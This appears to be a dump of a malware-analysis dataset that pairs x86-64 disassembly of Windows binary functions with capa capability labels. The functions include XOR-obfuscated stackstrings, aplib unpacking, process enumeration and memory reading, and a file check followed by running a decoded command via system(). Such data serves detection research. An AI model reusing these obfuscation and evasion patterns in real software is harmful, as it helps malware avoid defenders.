joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400111ef
Capabilities:
Terminate process

Disassembly:
jmp 0x140013440
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140011276
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014790
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400147b0
xor al, al
jmp 0x140014831
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400147c3
xor al, al
jmp 0x140014831
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1400147ed
xor al, al
jmp 0x140014831
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014801
xor al, al
jmp 0x140014831
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014813
xor al, al
jmp 0x140014831
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001482f
xor al, al
jmp 0x140014831
mov al, 1
add rsp, 0x38
ret
Function at 0x180a16058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x180a161df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x180a16089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x180a1606f
add dl, dl
jne 0x180a16096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x180a160f6
xor eax, eax
add dl, dl
jne 0x180a160a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x180a161ad
add dl, dl
jne 0x180a160b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x180a160c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x180a160d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x180a160dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x180a160ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x180a1607e
mov eax, 1
add dl, dl
jne 0x180a16106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x180a16113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x180a160fb
sub eax, ebx
mov ebx, 1
jne 0x180a1614c
mov ecx, 1
add dl, dl
jne 0x180a1612e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x180a1613b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x180a16123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x180a1607e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x180a16168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x180a16175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x180a1615d
cmp eax, 0x7d00
jae 0x180a1619b
cmp eax, 0x500
jb 0x180a16196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x180a1607e
cmp eax, 0x7f
ja 0x180a1619e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x180a1607e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x180a161d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x180a1607e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140002030
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 8], 0
je 0x140002053
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x41]
xor byte [rax + rcx], dl
inc rax
cmp rax, 7
jb 0x140002040
mov byte [rcx + 8], 0
mov rax, rcx
ret

Function at 0x1400022c0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 7], 0
je 0x1400022e3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x41]
xor byte [rax + rcx], dl
inc rax
cmp rax, 6
jb 0x1400022d0
mov byte [rcx + 7], 0
mov rax, rcx
ret

Function at 0x1400022f0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x10], 0
je 0x140002313
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x41]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0xf
jb 0x140002300
mov byte [rcx + 0x10], 0
mov rax, rcx
ret

Function at 0x140002320
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0xa], 0
je 0x140002343
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x41]
xor byte [rax + rcx], dl
inc rax
cmp rax, 9
jb 0x140002330
mov byte [rcx + 0xa], 0
mov rax, rcx
ret

Function at 0x140002350
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x17], 0
je 0x140002373
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x41]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x16
jb 0x140002360
mov byte [rcx + 0x17], 0
mov rax, rcx
ret

Function at 0x140002380
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x11], 0
je 0x1400023a3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x41]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x10
jb 0x140002390
mov byte [rcx + 0x11], 0
mov rax, rcx
ret
Function at 0x1400023c0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x18], rbp
push rsi
sub rsp, 0x160
mov rax, qword [0x1400e0f80]
xor rax, rsp
mov qword [rsp + 0x150], rax
xor edx, edx
mov dword [rsp + 0x20], 0x130
mov rsi, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbp, rax
cmp rax, 0xffffffffffffffff
jne 0x140002405
xor eax, eax
jmp 0x1400024f6
mov qword [rsp + 0x170], rbx
lea rdx, [rsp + 0x20]
mov rcx, rbp
mov qword [rsp + 0x178], rdi
call qword [sym.imp.KERNEL32.dll_Process32First]
lea rax, [rsp + 0x4c]
mov rbx, 0xffffffffffffffff
nop
inc rbx
cmp byte [rax + rbx], 0
jne 0x140002430
cmp qword [rsi + 0x18], 0x10
mov rcx, rsi
mov rdi, qword [rsi + 0x10]
jb 0x14000244a
mov rcx, qword [rsi]
cmp rbx, rdi
lea rdx, [rsp + 0x4c]
mov r8, rdi
cmovb r8, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14000246d
cmp rdi, rbx
jb 0x14000246d
jbe 0x140002517
lea rdx, [rsp + 0x20]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x1400024db
nop
lea rax, [rsp + 0x4c]
mov rbx, 0xffffffffffffffff
nop dword [rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140002490
cmp qword [rsi + 0x18], 0x10
mov rcx, rsi
mov rdi, qword [rsi + 0x10]
jb 0x1400024aa
mov rcx, qword [rsi]
cmp rbx, rdi
lea rdx, [rsp + 0x4c]
mov r8, rdi
cmovb r8, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400024c9
cmp rdi, rbx
jb 0x1400024c9
jbe 0x140002517
lea rdx, [rsp + 0x20]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140002480
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rbx, qword [rsp + 0x170]
mov rdi, qword [rsp + 0x178]
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.140086e90
mov rbp, qword [rsp + 0x180]
add rsp, 0x160
pop rsi
ret
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x28]
jmp 0x1400024e6
Function at 0x140003b50
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x21], 0
je 0x140003b73
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x41]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x20
jb 0x140003b60
mov byte [rcx + 0x21], 0
mov rax, rcx
ret

Function at 0x140003b80
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x15], 0
je 0x140003ba3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x41]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x14
jb 0x140003b90
mov byte [rcx + 0x15], 0
mov rax, rcx
ret

Function at 0x140003bb0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x1f], 0
je 0x140003bd3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x41]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x1e
jb 0x140003bc0
mov byte [rcx + 0x1f], 0
mov rax, rcx
ret

Function at 0x140003be0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x26], 0
je 0x140003c03
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x41]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x25
jb 0x140003bf0
mov byte [rcx + 0x26], 0
mov rax, rcx
ret

Function at 0x140003c10
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 9], 0
je 0x140003c33
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x41]
xor byte [rax + rcx], dl
inc rax
cmp rax, 8
jb 0x140003c20
mov byte [rcx + 9], 0
mov rax, rcx
ret

Function at 0x140003c40
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 6], 0
je 0x140003c63
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x41]
xor byte [rax + rcx], dl
inc rax
cmp rax, 5
jb 0x140003c50
mov byte [rcx + 6], 0
mov rax, rcx
ret

Function at 0x140003c70
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x13], 0
je 0x140003c93
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x41]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x12
jb 0x140003c80
mov byte [rcx + 0x13], 0
mov rax, rcx
ret

Function at 0x140003ca0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0xe], 0
je 0x140003cc3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x41]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0xd
jb 0x140003cb0
mov byte [rcx + 0xe], 0
mov rax, rcx
ret
Function at 0x140003cd0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Execute command
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xe0
xor edi, edi
mov dword [rbp - 0x49], 0x186d1e1d
mov ecx, edi
mov dword [rbp - 0x45], 0x3c34222e
mov dword [rbp - 0x41], 0x29202420
mov word [rbp - 0x3d], 0x3f
mov byte [rbp - 0x3b], 1
nop word [rax + rax]
lea eax, [rcx + 0x41]
xor byte [rbp + rcx - 0x49], al
inc rcx
cmp rcx, 0xd
jb 0x140003d10
lea rax, [rbp - 0x49]
mov dword [rbp - 0x49], 0x186d1e1d
mov qword [rbp - 0x39], rax
mov rcx, rdi
mov dword [rbp - 0x45], 0x2f002f0b
mov dword [rbp - 0x41], 0x100380c
lea eax, [rcx + 0x41]
xor byte [rbp + rcx - 0x49], al
inc rcx
cmp rcx, 0xa
jb 0x140003d40
lea rax, [rbp - 0x49]
mov dword [rbp - 0x49], 0x186d1e1d
mov qword [rbp - 0x31], rax
mov rcx, rdi
mov dword [rbp - 0x45], 0x3d03350e
mov dword [rbp - 0x41], 0x3e2e3a24
mov word [rbp - 0x3d], 0x100
nop word [rax + rax]
lea eax, [rcx + 0x41]
xor byte [rbp + rcx - 0x49], al
inc rcx
cmp rcx, 0xc
jb 0x140003d80
lea rax, [rbp - 0x49]
mov rbx, rdi
mov qword [rbp - 0x29], rax
nop dword [rax + rax]
mov rcx, qword [rbp + rbx*8 - 0x39]
xor r9d, r9d
mov qword [rsp + 0x30], rdi
mov edx, 0x80000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
jne 0x140003df0
inc rbx
cmp rbx, 3
jl 0x140003da0
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
movdqa xmm0, xmmword [str.26_61f___jd_m]
lea rcx, [rbp - 0x19]
movdqa xmm1, xmmword [0x1400a90c0]
movdqa xmmword [rbp - 0x19], xmm0
movdqa xmm0, xmmword [str.A_CBCF3_.L]
movdqa xmmword [rbp - 9], xmm1
movdqa xmm1, xmmword [0x1400a9370]
movdqa xmmword [rbp + 7], xmm0
movdqa xmm0, xmmword [0x1400a93c0]
movdqa xmmword [rbp + 0x17], xmm1
movdqa xmm1, xmmword [0x1400a9340]
movdqa xmmword [rbp + 0x27], xmm0
movdqa xmmword [rbp + 0x37], xmm1
mov dword [rbp + 0x47], 0xc8d6cc9f
mov word [rbp + 0x4b], 0x100
call fcn.140003e70
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3

Function at 0x140003e70
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x65], 0
je 0x140003e93
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x41]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x64
jb 0x140003e80
mov byte [rcx + 0x65], 0
mov rax, rcx
ret
Function at 0x140003ea0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Enumerate processes
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x2d0
mov rax, qword [0x1400e0f80]
xor rax, rsp
mov qword [rsp + 0x2c8], rax
mov qword [rsp + 0x60], rsp
mov dword [rsp + 0x30], 0x2a31272a
mov dword [rsp + 0x34], 0x7a742a20
mov dword [rsp + 0x38], 0x20272e67
mov word [rsp + 0x3c], 0x100
xor esi, esi
mov ecx, esi
nop dword [rax]
lea eax, [rcx + 0x41]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 0xc
jb 0x140003ef0
mov byte [rsp + 0x3d], sil
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
movdqa xmm0, xmmword [0x1400a9150]
movdqu xmmword [rsp + 0x48], xmm0
mov word [rsp + 0x58], Ordinal_41
mov byte [rsp + 0x5a], 1
mov rdx, rsi
nop dword [rax]
lea ecx, [rdx + 0x41]
xor byte [rsp + rdx + 0x48], cl
inc rdx
cmp rdx, 0x11
jb 0x140003f30
mov byte [rsp + 0x5a], sil
lea rdx, [rsp + 0x48]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov qword [rsp + 0x30], rax
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x80], 0x238
lea rdx, [rsp + 0x80]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
mov qword [rsp + 0x68], rsi
mov dword [rsp + 0x2c0], esi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x40], eax
nop dword [rax]
mov r8d, dword [rsp + 0x88]
cmp eax, r8d
jne 0x140003fbe
lea rdx, [0x14000403a]
mov rcx, qword [rsp + 0x60]
call sub.VCRUNTIME140.dll__local_unwind
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
mov qword [rsp + 0x68], rax
test rax, rax
jne 0x140003fe9
lea rdx, [0x14000403a]
mov rcx, qword [rsp + 0x60]
call sub.VCRUNTIME140.dll__local_unwind
mov qword [rsp + 0x20], rsi
mov r9d, 4
lea r8, [rsp + 0x2c0]
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x14000401d
lea rdx, [0x14000403a]
mov rcx, qword [rsp + 0x60]
call sub.VCRUNTIME140.dll__local_unwind
mov eax, dword [rdi]
cmp dword [rsp + 0x2c0], eax
je 0x140004031
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x140004061
xor esi, esi
mov rdi, qword [rsp + 0x30]
mov eax, dword [rsp + 0x40]
jmp 0x140003fa0
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x140004071
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x2c8]
xor rcx, rsp
call fcn.140086e90
lea r11, [rsp + 0x2d0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x1400050a0
Capabilities:
Print debug messages

Disassembly:
mov rax, rsp
sub rsp, 0xa8
movdqa xmm0, xmmword [str.d1f7_5b_l9n_hj]
movdqa xmmword [rax - 0x78], xmm0
movdqa xmm1, xmmword [str.t_vp_r__x_z]
movdqa xmmword [rax - 0x68], xmm1
movdqa xmm0, xmmword [0x1400a8ec0]
movdqa xmmword [rax - 0x58], xmm0
movdqa xmm1, xmmword [0x1400a93b0]
movdqa xmmword [rax - 0x48], xmm1
movdqa xmm0, xmmword [0x1400a9390]
movdqa xmmword [rax - 0x38], xmm0
movdqa xmm1, xmmword [0x1400a9380]
movdqa xmmword [rax - 0x28], xmm1
mov dword [rax - 0x18], 0xd786d184
mov dword [rax - 0x14], 0xdb82d580
mov dword [rax - 0x10], 0xdf8ed98c
mov dword [rax - 0xc], 0x100dd88
xor eax, eax
mov qword [rsp + 0x20], rax
cmp rax, 0x6e
jae 0x140005131
lea ecx, [rax + 0x41]
xor cl, byte [rsp + rax + 0x30]
mov byte [rsp + rax + 0x30], cl
inc rax
jmp 0x140005116
mov byte [rsp + 0x9f], 0
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
jmp 0x140005146
add rsp, 0xa8
ret
Function at 0x140007780
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r14, rdx
mov rdi, rcx
je 0x1400077b7
mov rbx, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x38], rsi
mov rsi, rbx
mov r9, qword [rax]
test r9, r9
je 0x1400077d8
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x1400077da
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x140007833
test ecx, ecx
jle 0x140007813
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
sub rbx, rbp
add r14, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x140007833
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x140007833
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov rbp, qword [rsp + 0x30]
sub rsi, rbx
mov rbx, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x140007860
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x140007882
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je 0x140007898
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x1400078b4
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x1400078b6
xor ecx, ecx
mov qword [rsp + 0x20], rdi
movsxd rax, ecx
test ecx, ecx
je 0x1400078f0
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
sub rbx, rdi
add r14, rdi
mov r8, rbx
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x140007997
mov r9, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r9], rax
jne 0x14000792b
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r9], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
mov rdi, r8
cmp r8, 0xfff
jbe 0x140007971
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
add r14, rax
mov rdi, rbx
cmp rax, 0xfff
jne 0x1400079b0
cmp rbx, rax
ja 0x140007940
mov r8, rdi
test rdi, rdi
je 0x140007997
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov r8, rdi
sub r8, rax
sub rbp, r8
mov rdi, qword [rsp + 0x20]
mov rax, rbp
mov rbx, qword [rsp + 0x28]
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
sub rbp, rbx
jmp 0x14000799a
Function at 0x140007df0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x1400e0f80]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x140007e1d
xor eax, eax
jmp 0x140007f72
mov rdx, qword [rcx + 0x40]
mov rax, qword [rdx]
test rax, rax
je 0x140007e48
mov rdx, qword [rcx + 0x58]
movsxd r8, dword [rdx]
add r8, rax
cmp rax, r8
jae 0x140007e48
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void____ptr64]
mov byte [rax], dil
mov eax, edi
jmp 0x140007f72
cmp qword [rcx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x140007f65
mov r8, qword [rcx + 0x18]
lea rax, [rcx + 0x70]
cmp qword [r8], rax
jne 0x140007e8b
mov rdx, qword [rcx + 0x90]
mov rcx, qword [rcx + 0x88]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140007eb6
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140007f6a
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140007f25
sub eax, 1
je 0x140007f25
cmp eax, 2
jne 0x140007f65
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140007f6a
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140007f53
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x140007f65
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov eax, edi
jne 0x140007f6a
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140086e90
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret

Function at 0x140008040
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x36], 0
je 0x140008063
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x41]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x35
jb 0x140008050
mov byte [rcx + 0x36], 0
ret

Function at 0x140008070
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x3f], 0
je 0x140008093
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x41]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x3e
jb 0x140008080
mov byte [rcx + 0x3f], 0
ret